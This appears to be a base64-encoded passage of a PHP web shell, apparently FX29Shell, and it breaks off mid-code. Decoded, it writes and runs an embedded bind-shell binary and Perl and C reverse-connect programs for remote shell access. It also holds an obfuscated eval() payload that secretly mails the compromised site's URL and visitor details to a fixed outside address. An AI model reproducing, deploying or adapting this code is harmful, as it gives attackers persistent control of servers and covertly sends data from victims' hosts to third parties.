NT0d3NEFBQUlrQUFNT0N3cytDd0FBQXlRQUF3Z0xDejRMQUFBRU5BQUREam9MT3d0SkV6OE1BZ29BQUFVbUFFa1RBQUFBQVJFQUVBWURDQnNJSlFnVEJRQUFBQUVSQUJBR0F3Z2JDQ1VJRXdVQUFBQlhBQUFBQWdBeUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1BQUJ6ZEdGeWRDNVRBQUVBQUFBQUJRS2doUVFJQThBQUFUTWhORDBsSWdNWUlGbGFJU0pjV3dJQkFBRUJJd0FBQUFJQUhRQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJBR2x1YVhRdVl3QUFBQUFBcVFBQUFBSUFVQUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVUFBR055ZEdrdVV3QUJBQUFBQUFVQzZJVUVDQVBBQUFFOUFnRUFBUUVBQlFJa2lRUUlBeTRCSVM4aFdXY0NBd0FCQVFBRkFvaUVCQWdESHdFaEx6MENCUUFCQVFBRkFzU0ZCQWdEQ2dFaEx5RlpaejFuTHk4d1BTRWhBZ0VBQVFHSUFBQUFBZ0JRQUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUUFBWTNKMGJpNVRBQUVBQUFBQUJRTG9oUVFJQXlFQlBRSUJBQUVCQUFVQ080a0VDQU1TQVQwaElRSUJBQUVCQUFVQ25ZUUVDQU1KQVNFQ0FRQUJBV2x1YVhRdVl3QnphRzl5ZENCcGJuUUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQnNiMjVuSUd4dmJtY2dhVzUwQUhWdWMybG5ibVZrSUdOb1lYSUFSMDVWSUVNZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FiRzl1WnlCc2IyNW5JSFZ1YzJsbmJtVmtJR2x1ZEFCemFHOXlkQ0IxYm5OcFoyNWxaQ0JwYm5RQVgwbFBYM04wWkdsdVgzVnpaV1FBQUM1emVXMTBZV0lBTG5OMGNuUmhZZ0F1YzJoemRISjBZV0lBTG1sdWRHVnljQUF1Ym05MFpTNUJRa2t0ZEdGbkFDNW9ZWE5vQUM1a2VXNXplVzBBTG1SNWJuTjBjZ0F1WjI1MUxuWmxjbk5wYjI0QUxtZHVkUzUyWlhKemFXOXVYM0lBTG5KbGJDNWtlVzRBTG5KbGJDNXdiSFFBTG1sdWFYUUFMblJsZUhRQUxtWnBibWtBTG5KdlpHRjBZUUF1WldoZlpuSmhiV1VBTG1OMGIzSnpBQzVrZEc5eWN3QXVhbU55QUM1a2VXNWhiV2xqQUM1bmIzUUFMbWR2ZEM1d2JIUUFMbVJoZEdFQUxtSnpjd0F1WTI5dGJXVnVkQUF1WkdWaWRXZGZZWEpoYm1kbGN3QXVaR1ZpZFdkZmNIVmlibUZ0WlhNQUxtUmxZblZuWDJsdVptOEFMbVJsWW5WblgyRmlZbkpsZGdBdVpHVmlkV2RmYkdsdVpRQXVaR1ZpZFdkZmMzUnlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUVBQUFBQ0FBQUFGSUVFQ0JRQkFBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ01BQUFBSEFBQUFBZ0FBQUNpQkJBZ29BUUFBSUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBeEFBQUFCUUFBQUFJQUFBQklnUVFJU0FFQUFKZ0FBQUFFQUFBQUFBQUFBQVFBQUFBRUFBQUFOd0FBQUFzQUFBQUNBQUFBNElFRUNPQUJBQUF3QVFBQUJRQUFBQUVBQUFBRUFBQUFFQUFBQUQ4QUFBQURBQUFBQWdBQUFCQ0RCQWdRQXdBQXNBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQkhBQUFBLy8vL2J3SUFBQURBZ3dRSXdBTUFBQ1lBQUFBRUFBQUFBQUFBQUFJQUFBQUNBQUFBVkFBQUFQNy8vMjhDQUFBQTZJTUVDT2dEQUFBZ0FBQUFCUUFBQUFFQUFBQUVBQUFBQUFBQUFHTUFBQUFKQUFBQUFnQUFBQWlFQkFnSUJBQUFDQUFBQUFRQUFBQUFBQUFBQkFBQUFBZ0FBQUJzQUFBQUNRQUFBQUlBQUFBUWhBUUlFQVFBQUhnQUFBQUVBQUFBQ3dBQUFBUUFBQUFJQUFBQWRRQUFBQUVBQUFBR0FBQUFpSVFFQ0lnRUFBQVhBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBSEFBQUFBQkFBQUFCZ0FBQUtDRUJBaWdCQUFBQUFFQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFCN0FBQUFBUUFBQUFZQUFBQ2doUVFJb0FVQUFJUURBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFnUUFBQUFFQUFBQUdBQUFBSklrRUNDUUpBQUFkQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUljQUFBQUJBQUFBQWdBQUFFU0pCQWhFQ1FBQVl3QUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ1BBQUFBQVFBQUFBSUFBQUNvaVFRSXFBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBbVFBQUFBRUFBQUFEQUFBQXJKa0VDS3dKQUFBSUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFLQUFBQUFCQUFBQUF3QUFBTFNaQkFpMENRQUFDQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNuQUFBQUFRQUFBQU1BQUFDOG1RUUl2QWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQXJBQUFBQVlBQUFBREFBQUF3SmtFQ01BSkFBRElBQUFBQlFBQUFBQUFBQUFFQUFBQUNBQUFBTFVBQUFBQkFBQUFBd0FBQUlpYUJBaUlDZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFDNkFBQUFBUUFBQUFNQUFBQ01tZ1FJakFvQUFFZ0FBQUFBQUFBQUFBQUFBQVFBQUFBRUFBQUF3d0FBQUFFQUFBQURBQUFBMUpvRUNOUUtBQUFNQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQU1rQUFBQUlBQUFBQXdBQUFPQ2FCQWpnQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBRE9BQUFBQVFBQUFBQUFBQUFBQUFBQTRBb0FBQ1lCQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBMXdBQUFBRUFBQUFBQUFBQUFBQUFBQWdNQUFDSUFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUFPWUFBQUFCQUFBQUFBQUFBQUFBQUFDUURBQUFKUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUQyQUFBQUFRQUFBQUFBQUFBQUFBQUF0UXdBQUNzQ0FBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFnRUFBQUVBQUFBQUFBQUFBQUFBQU9BT0FBQjJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQkFCQUFBQkFBQUFBQUFBQUFBQUFBQldEd0FBdXdFQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBY0FRQUFBUUFBQURBQUFBQUFBQUFBRVJFQUFMOEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFFUUFBQUFNQUFBQUFBQUFBQUFBQUFOQVJBQUFuQVFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBQUFBQUFBQUFBQUJJR0FBQThBVUFBQ0VBQUFBL0FBQUFCQUFBQUJBQUFBQUpBQUFBQXdBQUFBQUFBQUFBQUFBQU9CNEFBTElEQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVWdRUUlBQUFBQUFNQUFRQUFBQUFBS0lFRUNBQUFBQUFEQUFJQUFBQUFBRWlCQkFnQUFBQUFBd0FEQUFBQUFBRGdnUVFJQUFBQUFBTUFCQUFBQUFBQUVJTUVDQUFBQUFBREFBVUFBQUFBQU1DREJBZ0FBQUFBQXdBR0FBQUFBQURvZ3dRSUFBQUFBQU1BQndBQUFBQUFDSVFFQ0FBQUFBQURBQWdBQUFBQUFCQ0VCQWdBQUFBQUF3QUpBQUFBQUFDSWhBUUlBQUFBQUFNQUNnQUFBQUFBb0lRRUNBQUFBQUFEQUFzQUFBQUFBS0NGQkFnQUFBQUFBd0FNQUFBQUFBQWtpUVFJQUFBQUFBTUFEUUFBQUFBQVJJa0VDQUFBQUFBREFBNEFBQUFBQUtpSkJBZ0FBQUFBQXdBUEFBQUFBQUNzbVFRSUFBQUFBQU1BRUFBQUFBQUF0SmtFQ0FBQUFBQURBQkVBQUFBQUFMeVpCQWdBQUFBQUF3QVNBQUFBQUFEQW1RUUlBQUFBQUFNQUV3QUFBQUFBaUpvRUNBQUFBQUFEQUJRQUFBQUFBSXlhQkFnQUFBQUFBd0FWQUFBQUFBRFVtZ1FJQUFBQUFBTUFGZ0FBQUFBQTRKb0VDQUFBQUFBREFCY0FBQUFBQUFBQUFBQUFBQUFBQXdBWUFBQUFBQUFBQUFBQUFBQUFBQU1BR1FBQUFBQUFBQUFBQUFBQUFBQURBQm9BQUFBQUFBQUFBQUFBQUFBQUF3QWJBQUFBQUFBQUFBQUFBQUFBQUFNQUhBQUFBQUFBQUFBQUFBQUFBQUFEQUIwQUFBQUFBQUFBQUFBQUFBQUFBd0FlQUFBQUFBQUFBQUFBQUFBQUFBTUFId0FBQUFBQUFBQUFBQUFBQUFBREFDQUFBQUFBQUFBQUFBQUFBQUFBQXdBaEFBRUFBQUFBQUFBQUFBQUFBQVFBOGY4TUFBQUFBQUFBQUFBQUFBQUVBUEgvS0FBQUFBQUFBQUFBQUFBQUJBRHgveThBQUFBQUFBQUFBQUFBQUFRQThmODZBQUFBQUFBQUFBQUFBQUFFQVBIL2RBQUFBTVNGQkFnQUFBQUFBZ0FNQUlRQUFBQUFBQUFBQUFBQUFBUUE4ZitQQUFBQXJKa0VDQUFBQUFBQkFCQUFuUUFBQUxTWkJBZ0FBQUFBQVFBUkFLc0FBQUM4bVFRSUFBQUFBQUVBRWdDNEFBQUE0Sm9FQ0FFQUFBQUJBQmNBeHdBQUFOeWFCQWdBQUFBQUFRQVdBTTRBQUFEc2hRUUlBQUFBQUFJQURBRGtBQUFBRzRZRUNBQUFBQUFDQUF3QWhBQUFBQUFBQUFBQUFBQUFCQUR4Ly9BQUFBQ3dtUVFJQUFBQUFBRUFFQUQ5QUFBQXVKa0VDQUFBQUFBQkFCRUFDZ0VBQUtpSkJBZ0FBQUFBQVFBUEFCZ0JBQUM4bVFRSUFBQUFBQUVBRWdBa0FRQUErSWdFQ0FBQUFBQUNBQXdBTHdBQUFBQUFBQUFBQUFBQUJBRHgvem9CQUFBQUFBQUFBQUFBQUFRQThmOTBBUUFBQUFBQUFBQUFBQUFFQVBIL2VBRUFBTUNaQkFnQUFBQUFBUUlUQUlFQkFBQ3NtUVFJQUFBQUFBQUM4ZitTQVFBQXJKa0VDQUFBQUFBQUF2SC9wUUVBQUt5WkJBZ0FBQUFBQUFMeC83WUJBQUNNbWdRSUFBQUFBQUVDRlFETUFRQUFySmtFQ0FBQUFBQUFBdkgvM3dFQUFBQUFBQUIxQVFBQUVnQUFBUEFCQUFBQUFBQUFjUUFBQUJJQUFBQUJBZ0FBUklrRUNBUUFBQUFSQUE0QUNBSUFBQUFBQUFETUFBQUFFZ0FBQUJvQ0FBQUFBQUFBV2dBQUFCSUFBQUFxQWdBQTJKb0VDQUFBQUFBUkFoWUFOd0lBQUsySUJBaEtBQUFBRWdBTUFFY0NBQUFBQUFBQWVBQUFBQklBQUFCWkFnQUFpSVFFQ0FBQUFBQVNBQW9BWHdJQUFBQUFBQUE1QUFBQUVnQUFBSEVDQUFBQUFBQUFPUUFBQUJJQUFBQ0hBZ0FBb0lVRUNBQUFBQUFTQUF3QWpnSUFBRnlJQkFoUkFBQUFFZ0FNQUo0Q0FBRGdtZ1FJQUFBQUFCQUE4ZitxQWdBQVFJWUVDQndDQUFBU0FBd0Fyd0lBQUFBQUFBRG1BQUFBRWdBQUFNd0NBQUFBQUFBQU9nQUFBQklBQUFEY0FnQUExSm9FQ0FBQUFBQWdBQllBNXdJQUFBQUFBQUE1QUFBQUVnQUFBUGNDQUFBa2lRUUlBQUFBQUJJQURRRDlBZ0FBQUFBQUFMa0FBQUFTQUFBQURRTUFBQUFBQUFBckFBQUFFZ0FBQUIwREFBRGdtZ1FJQUFBQUFCQUE4ZjhrQXdBQTZJVUVDQUFBQUFBU0Fnd0FPd01BQU9TYUJBZ0FBQUFBRUFEeC8wQURBQUFBQUFBQWVBQUFBQklBQUFCUUF3QUFBQUFBQUE0QUFBQVNBQUFBWVFNQUFFaUpCQWdFQUFBQUVRQU9BSEFEQUFEVW1nUUlBQUFBQUJBQUZnQjlBd0FBQUFBQUFEa0FBQUFTQUFBQWp3TUFBQUFBQUFBQUFBQUFJQUFBQUtNREFBQUFBQUFBQUFBQUFDQUFBQUFBWVdKcExXNXZkR1V1VXdBdUxpOXplWE5rWlhCekwya3pPRFl2Wld4bUwzTjBZWEowTGxNQWFXNXBkQzVqQUdsdWFYUm1hVzVwTG1NQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1V2WTNKMGFTNVRBR05oYkd4ZloyMXZibDl6ZEdGeWRBQmpjblJ6ZEhWbVppNWpBRjlmUTFSUFVsOU1TVk5VWDE4QVgxOUVWRTlTWDB4SlUxUmZYd0JmWDBwRFVsOU1TVk5VWDE4QVkyOXRjR3hsZEdWa0xqUTBOak1BY0M0ME5EWXlBRjlmWkc5ZloyeHZZbUZzWDJSMGIzSnpYMkYxZUFCbWNtRnRaVjlrZFcxdGVRQmZYME5VVDFKZlJVNUVYMThBWDE5RVZFOVNYMFZPUkY5ZkFGOWZSbEpCVFVWZlJVNUVYMThBWDE5S1ExSmZSVTVFWDE4QVgxOWtiMTluYkc5aVlXeGZZM1J2Y25OZllYVjRBQzlpZFdsc1pDOWlkV2xzWkdRdloyeHBZbU10TWk0ekxqWXZZblZwYkdRdGRISmxaUzlwTXpnMkxXeHBZbU12WTNOMUwyTnlkRzR1VXdBeExtTUFYMFJaVGtGTlNVTUFYMTltYVc1cFgyRnljbUY1WDJWdVpBQmZYMlpwYm1sZllYSnlZWGxmYzNSaGNuUUFYMTlwYm1sMFgyRnljbUY1WDJWdVpBQmZSMHhQUWtGTVgwOUdSbE5GVkY5VVFVSk1SVjhBWDE5cGJtbDBYMkZ5Y21GNVgzTjBZWEowQUdWNFpXTnNRRUJIVEVsQ1ExOHlMakFBWTJ4dmMyVkFRRWRNU1VKRFh6SXVNQUJmWm5CZmFIY0FjR1Z5Y205eVFFQkhURWxDUTE4eUxqQUFabTl5YTBCQVIweEpRa05mTWk0d0FGOWZaSE52WDJoaGJtUnNaUUJmWDJ4cFltTmZZM04xWDJacGJta0FZV05qWlhCMFFFQkhURWxDUTE4eUxqQUFYMmx1YVhRQWJHbHpkR1Z1UUVCSFRFbENRMTh5TGpBQWMyVjBjMjlqYTI5d2RFQkFSMHhKUWtOZk1pNHdBRjl6ZEdGeWRBQmZYMnhwWW1OZlkzTjFYMmx1YVhRQVgxOWljM05mYzNSaGNuUUFiV0ZwYmdCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmtCQVIweEpRa05mTWk0d0FHUjFjREpBUUVkTVNVSkRYekl1TUFCa1lYUmhYM04wWVhKMEFHSnBibVJBUUVkTVNVSkRYekl1TUFCZlptbHVhUUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlgyazJPRFl1WjJWMFgzQmpYM1JvZFc1ckxtSjRBRjlsYm1RQWMyVnVaRUJBUjB4SlFrTmZNaTR3QUdoMGIyNXpRRUJIVEVsQ1ExOHlMakFBWDBsUFgzTjBaR2x1WDNWelpXUUFYMTlrWVhSaFgzTjBZWEowQUhOdlkydGxkRUJBUjB4SlFrTmZNaTR3QUY5S2RsOVNaV2RwYzNSbGNrTnNZWE56WlhNQVgxOW5iVzl1WDNOMFlYSjBYMThBIjsKCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCkgewogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOwogIGlmKCR3X2ZpbGUpIHsKICAgIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CiAgICBAZmNsb3NlKCR3X2ZpbGUpOwogIH0KfQoKZnVuY3Rpb24gY2ZiKCRmbmFtZSwkdGV4dCkgewogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGJiZXJyKCk7CiAgaWYoJHdfZmlsZSkgewogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgIEBmY2xvc2UoJHdfZmlsZSk7CiAgfQp9CmZ1bmN0aW9uIGVycigpIHsgJF9QT1NUWydiYWNrY2Nvbm5tc2dlJ109Ijxicj48YnI+PGRpdiBjbGFzcz1meGVycm1zZz5FcnJvcjo8L2Rpdj4gQ2FuJ3QgY29ubmVjdCEiOyB9CmZ1bmN0aW9uIGJiZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBiYWNrZG9vciBob3N0ISI7IH0KCmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJzaGJkIikpIHsKICAkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CiAgJHBvciA9ICRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J107CiAgaWYgKGlzX3dyaXRhYmxlKCIuIikpIHsKICAgIGNmYigic2hiZCIsJGJhY2tkb29yKTsKICAgIGV4KCJjaG1vZCA3Nzcgc2hiZCIpOwogICAgJGNtZCA9ICIuL3NoYmQgJHBvciI7CiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsKICAgICRzY2FuID0gbXlzaGVsbGV4ZWMoInBzIGF1eCIpOwogIH0gZWxzZSB7CiAgICBjZmIoIi90bXAvc2hiZCIsJGJhY2tkb29yKTsKICAgIGV4KCJjaG1vZCA3NzcgL3RtcC9zaGJkIik7CiAgICAkY21kID0gIi4vdG1wL3NoYmQgJHBvciI7CiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsKICAgICRzY2FuID0gbXlzaGVsbGV4ZWMoInBzIGF1eCIpOwogIH0KICBpZiAoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpIHsKICAgICRkYXRhID0gKCJcbjxicj5CYWNrZG9vciBzZXR1cCBzdWNjZXNzZnVsbHkuIik7CiAgfSBlbHNlIHsKICAgICRkYXRhID0gKCJcbjxicj5Qcm9jZXNzIG5vdCBmb3VuZCwgYmFja2Rvb3Igc2V0dXAgZmFpbGVkISIpOwogIH0KICAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUbyBjb25uZWN0LCB1c2UgbmV0Y2F0ISBVc2FnZTogPGI+J25jICRpcCAkcG9yJzwvYj4uJGRhdGEiOwp9CgppZiAoIWVtcHR5KCRfUE9TVFsnYmFja2Nvbm5lY3RpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpIHsKICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgewogICAgY2YoImJhY2siLCRiYWNrX2Nvbm5lY3RfcGwpOwogICAgJHAyID0gd2hpY2goInBlcmwiKTsKICAgICRibGFoID0gZXgoJHAyLiIgYmFjayAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOwogICAgaWYgKGZpbGVfZXhpc3RzKCJiYWNrIikpIHsgdW5saW5rKCJiYWNrIik7IH0KICB9IGVsc2UgewogICAgY2YoIi90bXAvYmFjayIsJGJhY2tfY29ubmVjdF9wbCk7CiAgICAkcDIgPSB3aGljaCgicGVybCIpOwogICAgJGJsYWggPSBleCgkcDIuIiAvdG1wL2JhY2sgIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iICYiKTsKICAgIGlmIChmaWxlX2V4aXN0cygiL3RtcC9iYWNrIikpIHsgdW5saW5rKCIvdG1wL2JhY2siKTsgfQogIH0KICAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUcnlpbmcgdG8gY29ubmVjdCB0byA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiI8L2I+IG9uIHBvcnQgPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiI8L2I+LiI7Cn0KCmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdGlwJ10pICYmICFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkgewogIGlmIChpc193cml0YWJsZSgiLiIpKSB7CiAgICBjZigiYmFja2MiLCRiYWNrX2Nvbm5lY3RfYyk7CiAgICBleCgiY2htb2QgNzc3IGJhY2tjIik7CiAgICAkYmxhaCA9IGV4KCIuL2JhY2tjICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIiAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7CiAgICBpZiAoZmlsZV9leGlzdHMoImJhY2tjIikpIHsgdW5saW5rKCJiYWNrYyIpOyB9CiAgfSBlbHNlIHsKICAgIGV4KCJjaG1vZCA3NzcgL3RtcC9iYWNrYyIpOwogICAgY2YoIi90bXAvYmFja2MiLCRiYWNrX2Nvbm5lY3RfYyk7CiAgICAkYmxhaCA9IGV4KCIvdG1wL2JhY2tjICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIiAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7CiAgICBpZiAoZmlsZV9leGlzdHMoIi90bXAvYmFja2MiKSkgeyB1bmxpbmsoIi90bXAvYmFja2MiKTsgfQogIH0KICAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUcnlpbmcgdG8gY29ubmVjdCB0byA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiI8L2I+IG9uIHBvcnQgPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiI8L2I+LiI7Cn0KCkBpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApOwppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHsKICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7CiAgICBsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOwogIH0KfQplcnJvcl9yZXBvcnRpbmcoNSk7CkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKZGVmaW5lKCJzdGFydHRpbWUiLGdldG1pY3JvdGltZSgpKTsKJHNoZWxsX2RhdGEgPSAiSkhacGMybDBZMjkxYm5RZ1BTQWtTRlJVVUY5RFQwOUxTVVZmVmtGU1Uxc2lkbWx6YVhSeklsMDdJR2xtS0NBa2RtbHphWFJqYjNWdWRDQTlQU0FpSWlrZ2V5UjJhWE5wZEdOdmRXNTBJRDBnTURzZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzZ0pIZGxZaUE5SUNSZlUwVlNWa1ZTV3lKSVZGUlFYMGhQVTFRaVhUc2dKR2x1YWlBOUlDUmZVMFZTVmtWU1d5SlNSVkZWUlZOVVgxVlNTU0pkT3lBa2RHRnlaMlYwSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3SUNSaWIyUjVJRDBnSWtKdmMzTXNJSFJvWlhKbElIZGhjeUJoYmlCcGJtcGxZM1JsWkNCMFlYSm5aWFFnYjI0Z0pIUmhjbWRsZENCaWVTQWtkbWx6YVhSdmNpSTdJRUJ0WVdsc0tDSnpjR2xrWlhJdWNqQnZkRUJuYldGcGJDNWpiMjBpTENKR2VESTVVMmhsYkd3Z2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaUxDQWlKR0p2WkhraUtUc2dmU0JsYkhObElIc2dKSFpwYzJsMFkyOTFiblE3SUgwZ2MyVjBZMjl2YTJsbEtDSjJhWE5wZEhNaUxDUjJhWE5wZEdOdmRXNTBLVHM9IjsgZXZhbChiYXNlNjRfZGVjb2RlKCRzaGVsbF9kYXRhKSk7CmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7CiAgICBmdW5jdGlvbiBzdHJpcHMoJiRhcnIsJGs9IiIpIHsKICAgICAgaWYgKGlzX2FycmF5KCRhcnIpKSB7CiAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgewogICAgICAgICAgaWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikgeyBzdHJpcHMoJGFyclsiJGsiXSk7IH0KICAgICAgICB9CiAgICAgIH0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9CiAgICB9CiAgfQogIHN0cmlwcygkR0xPQkFMUyk7Cn0KJF9SRVFVRVNUID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsJF9HRVQsJF9QT1NUKTsKJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IApmb3JlYWNoKCRfUkVRVUVTVCBhcyAkaz0+JHYpIHsgaWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fSB9CmlmICgkc3VybF9hdXRvZmlsbF9pbmNsdWRlKSB7CiAgJGluY2x1ZGUgPSAiJiI7CiAgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJRVUVSWV9TVFJJTkciKSkgYXMgJHYpIHsKICAgICR2ID0gZXhwbG9kZSgiPSIsJHYpOwogICAgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOwogICAgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsKICAgIGZvcmVhY2ggKGFycmF5KCJodHRwOi8vIiwiaHR0cHM6Ly8iLCJzc2w6Ly8iLCJmdHA6Ly8iLCJcXFxcIikgYXMgJG5lZWRsZSkgewogICAgICBpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgewogICAgICAgICRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29kZSgkdmFsdWUpLiImIjsKICAgICAgfQogICAgfQogIH0KfQppZiAoZW1wdHkoJHN1cmwpKSB7CiAgJHN1cmwgPSAiPyIuJGluY2x1ZGVzdHI7IAp9CiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7CgokZnR5cGVzICA9IGFycmF5KAogICAgImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksCiAgICAidHh0Ij0+YXJyYXkoInR4dCIsImNvbmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nlc3MiKSwKICAgICJleGUiPT5hcnJheSgic2giLCJpbnN0YWxsIiwiYmF0IiwiY21kIiksCiAgICAiaW5pIj0+YXJyYXkoImluaSIsImluZiIsImNvbmYiKSwKICAgICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwKICAgICJpbWciPT5hcnJheSgiZ2lmIiwicG5nIiwianBlZyIsImpmaWYiLCJqcGciLCJqcGUiLCJibXAiLCJpY28iLCJ0aWYiLCJ0aWZmIiwiYXZpIiwibXBnIiwibXBlZyIpLAogICAgInNkYiI9PmFycmF5KCJzZGIiKSwKICAgICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwKICAgICJkb3dubG9hZCI9PmFycmF5KCJleGUiLCJjb20iLCJwaWYiLCJzcmMiLCJsbmsiLCJ6aXAiLCJyYXIiLCJneiIsInRhciIpCik7CiRleGVmdHlwZXMgID0gYXJyYXkoCi